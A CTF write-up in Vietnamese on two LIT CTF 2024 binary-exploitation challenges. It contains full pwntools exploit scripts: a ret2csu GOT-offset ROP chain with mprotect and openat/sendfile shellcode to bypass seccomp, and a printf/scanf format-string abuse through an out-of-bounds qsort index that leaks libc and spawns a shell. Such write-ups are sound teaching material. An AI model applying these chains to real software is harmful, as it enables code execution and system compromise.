Try   HackMD

(writeup) LIT CTF 2024

  • skip mấy chall đầu =))

w4dup 2de

  • basic file check

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

  • seccomp

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

  • check ida

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

analyse

  • PIE tĩnh, file chỉ có 1 hàm -> ret2dlresolved
  • có thể dùng tool python để generate dlresolve nhưng hên xui lắm
  • ở đây sẽ chơi "fong kách" khác
  • kết hợp csu với lại resolve

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

  • chỉ cần $rbp mình là got đến libc với $ebx là offset, sẽ tuỳ ý có được địa chỉ libc mình muốn mà không cần leak
  • có sẵn gadget $rdi và $rsi, bị filter execve nên system hay one_gadget là không thể > ret2shellcode

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

  • flow như script là: pop_rdx (change size) -> sys_ret (call read for payload 2) -> pop_rax (0xa) -> pop_rdx (0x7) -> sys_ret (call mprotect) -> pop_rax (0) -> pop_rdx (change size) -> sys_ret (call read shellcode) -> pop_rax (shell_addr) -> jmp_rax
  • shellcode là openat và sendfile, với "flag.txt" là địa chỉ tương đối

không xài ORW được vì seccomp nó xét fd phải = 0 khi read

  • hơi dài =))) (hoặc dùng tool Ret2dlresolved luôn cũng dịu)

getflag

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

  • script:
#!/usr/bin/python3

from pwn import *

exe = ELF('./main_patched', checksec=False)
libc = ELF('./libc-2.31.so', checksec=False)
context.binary = exe
context.arch = 'amd64'

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
sln = lambda msg, num: sla(msg, str(num).encode())
sn = lambda msg, num: sa(msg, str(num).encode())

def GDB():
    if not args.REMOTE:
        gdb.attach(p, gdbscript='''
        b*main+39
        b*main+59
        c
        ''')
        input()


if args.REMOTE:
    p = remote('litctf.org',31771)
else:
    p = process(exe.path)
GDB()

csu = 0x00000000004013ca
pop_rdi = 0x00000000004013d3
pop_rsi_r15 = 0x00000000004013d1
rw_section = 0x404a00

pop_rdx_r12 = 0x119431
off_to_pop_rdx_r12 = pop_rdx_r12 - libc.sym.read #1
syscall_ret = 0x13a7cb
off_to_syscall_ret = syscall_ret - pop_rdx_r12 #2
pop_rax = 0x36174
off_to_pop_rax = pop_rax - 0x13a7cb #3

jmp_rax = 0x000000000040110c
call_rax = 0x0000000000401014

add = 0x000000000040117c
#add dword ptr [rbp - 0x3d], ebx ; nop ; ret
pop_rbp =0x000000000040117d
leave_ret = 0x000000000040132d

shellcode = shellcraft.openat(-100, 'flag.txt', 0)
shellcode += shellcraft.sendfile(1,'rax',0,0x80)

payload = b'a'*8*5
payload += p64(csu)
payload += p64(off_to_pop_rdx_r12,sign=True) #rbx
payload += p64(exe.got.read+0x3d) #rbp
payload += p64(0)*4 #r12-r15
payload += p64(add) 
payload += p64(exe.sym.read) + p64(0x800) + p64(0) #pop_rdx_r12 
payload += p64(pop_rsi_r15) + p64(rw_section) + p64(0) #pop rsi r15
payload += p64(csu)
payload += p64(off_to_syscall_ret,sign=True) #rbx
payload += p64(exe.got.read+0x3d) #rbp
payload += p64(0)*4 #r12-r15
payload += p64(add) 
payload += p64(exe.sym.read) #syscall_ret #call read part2
payload += p64(pop_rbp) + p64(rw_section-8) #pop rbp
payload += p64(leave_ret) #leave_ret

s(payload)

off_to_syscall_ret_1 = syscall_ret - pop_rax
off_to_pop_rax_2 = pop_rax - syscall_ret
off_to_pop_rdx_r12 = pop_rdx_r12 - pop_rax
off_to_syscall_ret_2 = syscall_ret - pop_rdx_r12
off_to_pop_rax_3 = pop_rax - syscall_ret

payload = p64(csu)
payload += p64(off_to_pop_rax,sign=True) #rbx
payload += p64(exe.got.read+0x3d) #rbp
payload += p64(0)*4 #r12-r15
payload += p64(add)
payload += p64(exe.sym.read) + p64(0)
payload += p64(csu)
payload += p64(off_to_syscall_ret_1,sign=True) #rbx
payload += p64(exe.got.read+0x3d) #rbp
payload += p64(0)*4 #r12-r15
payload += p64(add)
payload += p64(pop_rsi_r15) + p64(rw_section + 0x400) + p64(0)
payload += p64(exe.sym.read) #syscall_ret #call read shellcode in rw_section+0x400
payload += p64(csu)
payload += p64(off_to_pop_rax_2,sign=True) #rbx
payload += p64(exe.got.read+0x3d) #rbp
payload += p64(0)*4 #r12-r15
payload += p64(add)
payload += p64(exe.sym.read) + p64(0xa) #rax=0xa
payload += p64(csu)
payload += p64(off_to_pop_rdx_r12,sign=True) #rbx
payload += p64(exe.got.read+0x3d) #rbp
payload += p64(0)*4 #r12-r15
payload += p64(add)
payload += p64(exe.sym.read) + p64(0x7) + p64(0) #rdx=7
payload += p64(csu)
payload += p64(off_to_syscall_ret_2,sign=True) #rbx
payload += p64(exe.got.read+0x3d) #rbp
payload += p64(0)*4 #r12-r15
payload += p64(add)
payload += p64(pop_rdi) + p64(0x404000)
payload += p64(pop_rsi_r15) + p64(0x1000) + p64(0)
payload += p64(exe.sym.read) #syscall_ret #call mprotect
payload += p64(csu)
payload += p64(off_to_pop_rax_3,sign=True) #rbx
payload += p64(exe.got.read+0x3d) #rbp
payload += p64(0)*4 #r12-r15
payload += p64(add)
payload += p64(exe.sym.read) + p64(rw_section + 0x400)
# payload += p64(jmp_rax)
payload += p64(call_rax)

s(payload)
sleep(2)

sl(asm(shellcode))

p.interactive()
#LITCTF{dup_dup_dup_duuuuuuuuuup_222222}

How to Raise a Boring Vuln Flat

  • basic file check

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

  • check ida

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

analyse

  • BUG khá rõ là OOB

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

  • ở đây sẽ tận dụng 1 là got@printf để fmtstr, 2 là dùng got@scanf để làm được nhiều thứ hơn
  • với index -7, là -8 = -7 -1 trỏ got@scanf, ta có thể khiến qsort() đó thực hiện plt@scanf nhiều lần ứng với số nums ta nhập từ đầu
    -> arbitrary write
  • và để leak libc chỉ còn cách fmtstr %X$s với X là offset trên stack đến _IO_2_1_stdout

image

payload : b"%171" + b" " + b"$s\0\0" + b" "(convert về int -> u32)

  • Ta ow _flags đến write_base với write_ptr
  • leak xong sẽ end -> tận dụng lần nhập scanf tiếp theo ow ret của scanf thành _start (brute 1 byte> chance 1/16)

image

main+314: call qsort
return: main+319

  • nhưng vấn đề là chain tương tự như z thì bị lỗi trong quá trình qsort()

lấy số này đắp số kia, bị nối chuỗi, %s ở stack k phải là 1 địa chỉ khác,

  • nên sẽ chain đệm thêm fmtstr không gây ảnh hưởng gì ("$s")

b"$s\0\0" + b" "

  • gọi fmtstr ow stdout là A, fmtstr ow ret là B
  • ban đầu A + đệm + B bị fail
  • nhưng chèn như thế sẽ bị thay đổi offset, DEBUG nhiều lần và thấy để đệm "$s" đầu tiên thì lại smooth (đệm + A + B) nên tính offset lại:

image

image

  • nên lấy stack trước ret value để ow hơn 8 byte, cụ thể là 10 byte cho 2 byte ow brute > "$10c" (take exactly 10 byte)
  • nhưng trong quá trình debug thì thấy tồn tại 1 byte "\n" từ trước nên chỉ padding 7 byte rồi 2 byte ow
  • sau khi loop, ta tiếp tục fmtstr scanf để chain ROP

image

  • local with parameter NOASLR

image

getflag

  • 2 bytes ow (brute 1/16) lấy mẫu cho NOASLR làm cho REMOTE vẫn được

image

  • script:
#!/usr/bin/python3

from pwn import *

exe = ELF('./bflat_patched', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
context.binary = exe

def GDB(p):
    if not args.REMOTE:
        gdb.attach(p, gdbscript='''
        set solib-search-path /home/hlaan/ctf/litctf/vuln_flat/           
        b*main+314
        b*msort_with_tmp+390
        c
        b*$rcx
        ''')
        input()
        
bstr = lambda x: str(x).encode()

def conn():
    if args.REMOTE:
        return remote('litctf.org',31775)
    else:
        return process(exe.path)
        
def main():
    info = lambda msg: log.info(msg)
    sla = lambda msg, data: p.sendlineafter(msg, data)
    sa = lambda msg, data: p.sendafter(msg, data)
    sl = lambda data: p.sendline(data)
    s = lambda data: p.send(data)
    
    p = conn()
    GDB(p) 
    sla(b"ints?\n",b'5')
    
    payload = bstr(u32(b"$s\0\0")) + b" "
    payload += bstr(u32(b"%157")) + b" "
    payload += bstr(u32(b"$s\0\0")) + b" "
    payload += bstr(u32(b"%46$")) + b" "
    payload += bstr(u32(b"10c\0")) + b" "
    
    sla(b"space):\n",payload)
    
    sla(b"reverse):\n",b"-7")
    
    stdout = p64(0xfbad1807)+p64(0)*3 #auto append null bytes due to newline
    payload = b"A"*7 + b"\x20\x51"  #brute

    #$s
    sl(payload) #32$10c
    #$s
    #$s
    sl(stdout) #%157$s
    sl(stdout) #%157$s
    sl(stdout) #%157$s
    
    p.recvuntil(b"\xe0")
    libc.address = u64(b"\xe0"+p.recv(7)) - libc.sym._IO_2_1_stdin_
    info("libc leak: " + hex(libc.address))
    
    sl(b'2')
    
    payload = bstr(u32(b"%18$")) + b" "
    payload += bstr(u32(b"s\0\0\0")) + b" "
    
    sl(payload)
    sl(b"-7")
    
    rop = ROP(libc)
    payload = b'A'*8 
    payload += p64(rop.rdi.address) + p64(next(libc.search(b"/bin/sh\0")))
    payload += p64(rop.ret.address) 
    payload += p64(libc.sym.system)
    
    sl(payload)
    
    p.interactive()
    
if __name__ == "__main__":
    while True:
        try:
            main()
        except Exception as e:
            print(e)
            continue

#LITCTF{0hh_1_l1k3_d0ck3r5_w17h_r007_pr1v1l3g3s}